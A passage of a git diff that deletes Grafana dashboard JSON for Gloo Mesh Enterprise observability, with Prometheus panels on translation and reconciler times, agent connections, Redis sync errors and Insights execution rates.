"title": "Istio Control Plane Dashboard", - "uid": "3--MLVZZk", - "version": 10, - "weekStart": "" -} \ No newline at end of file diff --git a/gloo-mesh/enterprise/2-5/airgap/data/steps/gloo-platform-observability/operational-dashboard.json b/gloo-mesh/enterprise/2-5/airgap/data/steps/gloo-platform-observability/operational-dashboard.json deleted file mode 100644 index e69cebed10..0000000000 --- a/gloo-mesh/enterprise/2-5/airgap/data/steps/gloo-platform-observability/operational-dashboard.json +++ /dev/null @@ -1,2974 +0,0 @@ -{ - "annotations": { - "list": [ - { - "builtIn": 1, - "datasource": { - "type": "datasource", - "uid": "grafana" - }, - "enable": true, - "hide": true, - "iconColor": "rgba(0, 211, 255, 1)", - "name": "Annotations & Alerts", - "target": { - "limit": 100, - "matchAny": false, - "tags": [], - "type": "dashboard" - }, - "type": "dashboard" - } - ] - }, - "editable": true, - "fiscalYearStartMonth": 0, - "graphTooltip": 1, - "id": 28, - "links": [], - "liveNow": false, - "panels": [ - { - "collapsed": true, - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "gridPos": { - "h": 1, - "w": 24, - "x": 0, - "y": 0 - }, - "id": 43, - "panels": [ - { - "cards": {}, - "color": { - "cardColor": "#b4ff00", - "colorScale": "sqrt", - "colorScheme": "interpolateCool", - "exponent": 0.5, - "mode": "spectrum" - }, - "dataFormat": "tsbuckets", - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Count of translations times that were in a given time in seconds", - "fieldConfig": { - "defaults": { - "custom": { - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "scaleDistribution": { - "type": "linear" - } - } - }, - "overrides": [] - }, - "gridPos": { - "h": 9, - "w": 6, - "x": 0, - "y": 1 - }, - "heatmap": {}, - "hideZeroBuckets": false, - "highlightCards": true, - "id": 47, - "legend": { - "show": false - }, - "maxDataPoints": 25, - "options": { - "calculate": false, - "calculation": {}, - "cellGap": 2, - "cellValues": {}, - "color": { - "exponent": 0.5, - "fill": "#b4ff00", - "mode": "scheme", - "reverse": false, - "scale": "exponential", - "scheme": "Cool", - "steps": 128 - }, - "exemplars": { - "color": "rgba(255,0,255,0.7)" - }, - "filterValues": { - "le": 1e-9 - }, - "legend": { - "show": false - }, - "rowsFrame": { - "layout": "auto" - }, - "showValue": "never", - "tooltip": { - "show": true, - "yHistogram": false - }, - "yAxis": { - "axisPlacement": "left", - "reverse": false, - "unit": "short" - } - }, - "pluginVersion": "9.3.1", - "reverseYBuckets": false, - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(rate(gloo_mesh_translation_time_sec_bucket[5m])) by (le)", - "format": "heatmap", - "hide": false, - "interval": "", - "legendFormat": "{{le}}", - "refId": "B" - } - ], - "title": "Total Translation Times Histogram", - "tooltip": { - "show": true, - "showHistogram": false - }, - "type": "heatmap", - "xAxis": { - "show": true - }, - "yAxis": { - "format": "short", - "logBase": 1, - "show": true - }, - "yBucketBound": "auto" - }, - { - "cards": {}, - "color": { - "cardColor": "#b4ff00", - "colorScale": "sqrt", - "colorScheme": "interpolateCool", - "exponent": 0.5, - "mode": "spectrum" - }, - "dataFormat": "tsbuckets", - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Count of translations times that were in a given time in seconds", - "fieldConfig": { - "defaults": { - "custom": { - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "scaleDistribution": { - "type": "linear" - } - } - }, - "overrides": [] - }, - "gridPos": { - "h": 9, - "w": 6, - "x": 6, - "y": 1 - }, - "heatmap": {}, - "hideZeroBuckets": false, - "highlightCards": true, - "id": 12, - "legend": { - "show": false - }, - "maxDataPoints": 25, - "options": { - "calculate": false, - "calculation": {}, - "cellGap": 2, - "cellValues": {}, - "color": { - "exponent": 0.5, - "fill": "#b4ff00", - "mode": "scheme", - "reverse": false, - "scale": "exponential", - "scheme": "Cool", - "steps": 128 - }, - "exemplars": { - "color": "rgba(255,0,255,0.7)" - }, - "filterValues": { - "le": 1e-9 - }, - "legend": { - "show": false - }, - "rowsFrame": { - "layout": "auto" - }, - "showValue": "never", - "tooltip": { - "show": true, - "yHistogram": false - }, - "yAxis": { - "axisPlacement": "left", - "reverse": false, - "unit": "short" - } - }, - "pluginVersion": "9.3.1", - "reverseYBuckets": false, - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(rate(gloo_mesh_reconciler_time_sec_bucket[1m])) by (le)", - "hide": false, - "interval": "", - "legendFormat": "{{le}}", - "refId": "B" - } - ], - "title": "Total Recon Times Histogram", - "tooltip": { - "show": true, - "showHistogram": false - }, - "type": "heatmap", - "xAxis": { - "show": true - }, - "yAxis": { - "format": "short", - "logBase": 1, - "show": true - }, - "yBucketBound": "auto" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "thresholds" - }, - "custom": { - "align": "auto", - "displayMode": "auto", - "filterable": false, - "inspect": false - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 1 - } - ] - } - }, - "overrides": [ - { - "matcher": { - "id": "byName", - "options": "Value" - }, - "properties": [ - { - "id": "custom.width", - "value": 66 - } - ] - }, - { - "matcher": { - "id": "byName", - "options": "workspace" - }, - "properties": [ - { - "id": "custom.width", - "value": 209 - } - ] - }, - { - "matcher": { - "id": "byName", - "options": "namespace" - }, - "properties": [ - { - "id": "custom.width", - "value": 173 - } - ] - } - ] - }, - "gridPos": { - "h": 5, - "w": 12, - "x": 12, - "y": 1 - }, - "id": 31, - "options": { - "footer": { - "fields": "", - "reducer": [ - "sum" - ], - "show": false - }, - "showHeader": true, - "sortBy": [ - { - "desc": true, - "displayName": "Value" - } - ] - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": false, - "expr": "sum(translation_warning) by (pod,namespace,workspace,gvk)", - "format": "table", - "hide": false, - "instant": true, - "interval": "", - "legendFormat": "", - "refId": "A" - } - ], - "title": "Translation Warnings", - "transformations": [ - { - "id": "organize", - "options": { - "excludeByName": { - "Time": true - }, - "indexByName": { - "Time": 0, - "Value": 5, - "gvk": 4, - "namespace": 3, - "pod": 1, - "workspace": 2 - }, - "renameByName": {} - } - } - ], - "type": "table" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "thresholds" - }, - "custom": { - "align": "auto", - "displayMode": "auto", - "filterable": false, - "inspect": false - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 1 - } - ] - } - }, - "overrides": [ - { - "matcher": { - "id": "byName", - "options": "Value" - }, - "properties": [ - { - "id": "custom.width", - "value": 66 - } - ] - }, - { - "matcher": { - "id": "byName", - "options": "workspace" - }, - "properties": [ - { - "id": "custom.width", - "value": 209 - } - ] - }, - { - "matcher": { - "id": "byName", - "options": "namespace" - }, - "properties": [ - { - "id": "custom.width", - "value": 173 - } - ] - } - ] - }, - "gridPos": { - "h": 5, - "w": 12, - "x": 12, - "y": 6 - }, - "id": 45, - "options": { - "footer": { - "fields": "", - "reducer": [ - "sum" - ], - "show": false - }, - "showHeader": true, - "sortBy": [ - { - "desc": true, - "displayName": "Value" - } - ] - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": false, - "expr": "sum(translation_error) by (pod,namespace,workspace,gvk)", - "format": "table", - "hide": false, - "instant": true, - "interval": "", - "legendFormat": "", - "refId": "A" - } - ], - "title": "Translation Errors", - "transformations": [ - { - "id": "organize", - "options": { - "excludeByName": { - "Time": true - }, - "indexByName": { - "Time": 0, - "Value": 5, - "gvk": 4, - "namespace": 3, - "pod": 1, - "workspace": 2 - }, - "renameByName": {} - } - } - ], - "type": "table" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Count of translations times that were in a given time in seconds", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "auto", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "s" - }, - "overrides": [] - }, - "gridPos": { - "h": 6, - "w": 6, - "x": 0, - "y": 10 - }, - "id": 44, - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "pluginVersion": "8.3.3", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "histogram_quantile(0.99, sum(rate(gloo_mesh_translation_time_sec_bucket[5m])) by (le))", - "hide": false, - "interval": "", - "legendFormat": "P99", - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "histogram_quantile(0.90, sum(rate(gloo_mesh_translation_time_sec_bucket[5m])) by (le))", - "hide": false, - "interval": "", - "legendFormat": "P90", - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "histogram_quantile(0.75, sum(rate(gloo_mesh_translation_time_sec_bucket[5m])) by (le))", - "hide": false, - "interval": "", - "legendFormat": "P75", - "refId": "C" - } - ], - "title": "Translation Time Percentiles", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Count of translations times that were in a given time in seconds", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "auto", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "s" - }, - "overrides": [] - }, - "gridPos": { - "h": 6, - "w": 6, - "x": 6, - "y": 10 - }, - "id": 46, - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "pluginVersion": "8.3.3", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "histogram_quantile(0.99, sum(rate(gloo_mesh_reconciler_time_sec_bucket[5m])) by (le))", - "hide": false, - "interval": "", - "legendFormat": "P99", - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "histogram_quantile(0.90, sum(rate(gloo_mesh_reconciler_time_sec_bucket[5m])) by (le))", - "hide": false, - "interval": "", - "legendFormat": "P90", - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "histogram_quantile(0.75, sum(rate(gloo_mesh_reconciler_time_sec_bucket[5m])) by (le))", - "hide": false, - "interval": "", - "legendFormat": "P75", - "refId": "C" - } - ], - "title": "Recon Time Percentiles", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Number of translators that can run concurrently", - "fieldConfig": { - "defaults": { - "color": { - "mode": "thresholds" - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - } - }, - "overrides": [] - }, - "gridPos": { - "h": 6, - "w": 6, - "x": 12, - "y": 11 - }, - "id": 8, - "options": { - "colorMode": "value", - "graphMode": "area", - "justifyMode": "center", - "orientation": "auto", - "reduceOptions": { - "calcs": [ - "lastNotNull" - ], - "fields": "", - "values": false - }, - "text": { - "titleSize": 10, - "valueSize": 50 - }, - "textMode": "value" - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(gloo_mesh_translator_concurrency) by (pod)", - "format": "time_series", - "hide": false, - "instant": false, - "interval": "", - "legendFormat": "", - "refId": "A" - } - ], - "title": "Gloo Translator Concurrency", - "type": "stat" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Number of errors when trying to sync with Redis", - "fieldConfig": { - "defaults": { - "color": { - "mode": "thresholds" - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - } - }, - "overrides": [] - }, - "gridPos": { - "h": 6, - "w": 6, - "x": 18, - "y": 11 - }, - "id": 10, - "options": { - "colorMode": "value", - "graphMode": "area", - "justifyMode": "auto", - "orientation": "auto", - "reduceOptions": { - "calcs": [ - "lastNotNull" - ], - "fields": "", - "values": false - }, - "text": { - "titleSize": 20, - "valueSize": 40 - }, - "textMode": "auto" - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(delta(gloo_mesh_redis_sync_err{app=\"gloo-mesh-mgmt-server\"}[10m]))", - "instant": false, - "interval": "", - "legendFormat": "", - "refId": "A" - } - ], - "title": "Redis Sync Errors (last 10m)", - "type": "stat" - } - ], - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "refId": "A" - } - ], - "title": "Gloo Management Server", - "type": "row" - }, - { - "collapsed": true, - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "gridPos": { - "h": 1, - "w": 24, - "x": 0, - "y": 1 - }, - "id": 25, - "panels": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "thresholds" - }, - "mappings": [], - "thresholds": { - "mode": "percentage", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 99 - } - ] - }, - "unit": "percentunit" - }, - "overrides": [] - }, - "gridPos": { - "h": 5, - "w": 4, - "x": 0, - "y": 18 - }, - "id": 16, - "options": { - "colorMode": "value", - "graphMode": "area", - "justifyMode": "auto", - "orientation": "auto", - "reduceOptions": { - "calcs": [ - "lastNotNull" - ], - "fields": "", - "values": false - }, - "textMode": "auto" - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(relay_pull_clients_connected{app=\"gloo-mesh-mgmt-server\"}) / count(relay_pull_clients_connected{app=\"gloo-mesh-mgmt-server\"})", - "interval": "", - "legendFormat": "", - "refId": "A" - } - ], - "title": "Agents Connected", - "type": "stat" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "thresholds" - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - } - ] - } - }, - "overrides": [] - }, - "gridPos": { - "h": 5, - "w": 4, - "x": 4, - "y": 18 - }, - "id": 27, - "options": { - "colorMode": "value", - "graphMode": "area", - "justifyMode": "auto", - "orientation": "auto", - "reduceOptions": { - "calcs": [ - "lastNotNull" - ], - "fields": "", - "values": false - }, - "textMode": "auto" - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(relay_pull_clients_connected)", - "instant": false, - "interval": "", - "legendFormat": "", - "refId": "A" - } - ], - "title": "Total Agent Connected", - "type": "stat" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "thresholds" - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 1 - } - ] - } - }, - "overrides": [] - }, - "gridPos": { - "h": 5, - "w": 4, - "x": 8, - "y": 18 - }, - "id": 35, - "options": { - "colorMode": "value", - "graphMode": "area", - "justifyMode": "auto", - "orientation": "auto", - "reduceOptions": { - "calcs": [ - "last" - ], - "fields": "", - "values": false - }, - "textMode": "auto" - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "count(sum(relay_push_clients_warmed == 0) by(cluster))", - "interval": "", - "legendFormat": "", - "refId": "A" - } - ], - "title": "Agent Clusters Not Warmed", - "type": "stat" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "auto", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - } - }, - "overrides": [] - }, - "gridPos": { - "h": 11, - "w": 12, - "x": 12, - "y": 18 - }, - "id": 18, - "options": { - "legend": { - "calcs": [ - "lastNotNull" - ], - "displayMode": "table", - "placement": "bottom", - "showLegend": true, - "sortBy": "Last *", - "sortDesc": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(relay_pull_clients_connected{app=\"gloo-mesh-mgmt-server\"})by (pod)", - "instant": false, - "interval": "", - "legendFormat": "", - "refId": "A" - } - ], - "title": "Agents Connected To each Management Pod", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "thresholds" - }, - "custom": { - "align": "auto", - "displayMode": "auto", - "filterable": true, - "inspect": false, - "width": 200 - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - } - }, - "overrides": [ - { - "matcher": { - "id": "byName", - "options": "Mgmt Pod" - }, - "properties": [ - { - "id": "custom.width", - "value": 433 - } - ] - }, - { - "matcher": { - "id": "byName", - "options": "Agent Cluster" - }, - "properties": [ - { - "id": "custom.width", - "value": 436 - } - ] - } - ] - }, - "gridPos": { - "h": 6, - "w": 12, - "x": 0, - "y": 23 - }, - "id": 20, - "options": { - "footer": { - "fields": "", - "reducer": [ - "sum" - ], - "show": false - }, - "showHeader": true, - "sortBy": [ - { - "desc": false, - "displayName": "Mgmt Pod" - } - ] - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": false, - "expr": "sum(relay_pull_clients_connected{app=\"gloo-mesh-mgmt-server\"}) by (pod,cluster)", - "format": "table", - "instant": true, - "interval": "", - "legendFormat": "", - "refId": "A" - } - ], - "title": "Agents Connected To Each Mgmt Pod", - "transformations": [ - { - "id": "organize", - "options": { - "excludeByName": { - "Time": true, - "Value": true, - "Value #A": true - }, - "indexByName": { - "Time": 0, - "Value": 3, - "cluster": 2, - "pod": 1 - }, - "renameByName": { - "cluster": "Agent Cluster", - "pod": "Mgmt Pod" - } - } - } - ], - "type": "table" - } - ], - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "refId": "A" - } - ], - "title": "Gloo Agents", - "type": "row" - }, - { - "collapsed": true, - "gridPos": { - "h": 1, - "w": 24, - "x": 0, - "y": 2 - }, - "id": 57, - "panels": [ - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "auto", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 12, - "x": 0, - "y": 3 - }, - "id": 61, - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "sum(rate(solo_io_insights_execution_time_count[5m]))", - "legendFormat": "Insights", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "rate(solo_io_insights_engine_errors_total[5m])", - "hide": false, - "legendFormat": "Errors", - "range": true, - "refId": "B" - } - ], - "title": "Insights execution rate", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "auto", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 12, - "x": 12, - "y": 3 - }, - "id": 63, - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "sum(rate(solo_io_analyzer_execution_time_count[5m]))", - "legendFormat": "Analyzer", - "range": true, - "refId": "A" - } - ], - "title": "Insights Analyzer execution rate", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "auto", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "s" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 12, - "x": 0, - "y": 11 - }, - "id": 59, - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.95, sum(rate(solo_io_insights_execution_time_bucket[5m])) by (le,code))", - "legendFormat": "__auto", - "range": true, - "refId": "A" - } - ], - "title": "Insights execution times (p95)", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "auto", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "s" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 12, - "x": 12, - "y": 11 - }, - "id": 60, - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.95, sum(rate(solo_io_insights_total_execution_time_bucket[$__rate_interval])) by (le))", - "hide": false, - "legendFormat": "p95", - "range": true, - "refId": "D" - }, - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.90, sum(rate(solo_io_insights_total_execution_time_bucket[$__rate_interval])) by (le))", - "hide": false, - "legendFormat": "p90", - "range": true, - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.50, sum(rate(solo_io_insights_total_execution_time_bucket[$__rate_interval])) by (le))", - "hide": false, - "legendFormat": "p50", - "range": true, - "refId": "C" - } - ], - "title": "Insights total execution time percentiles", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "auto", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "s" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 12, - "x": 0, - "y": 19 - }, - "id": 64, - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.95, sum(rate(solo_io_analyzer_execution_time_bucket[5m])) by (le, analyzer))", - "legendFormat": "__auto", - "range": true, - "refId": "A" - } - ], - "title": "Insights Analyzer execution times (p95)", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "auto", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] 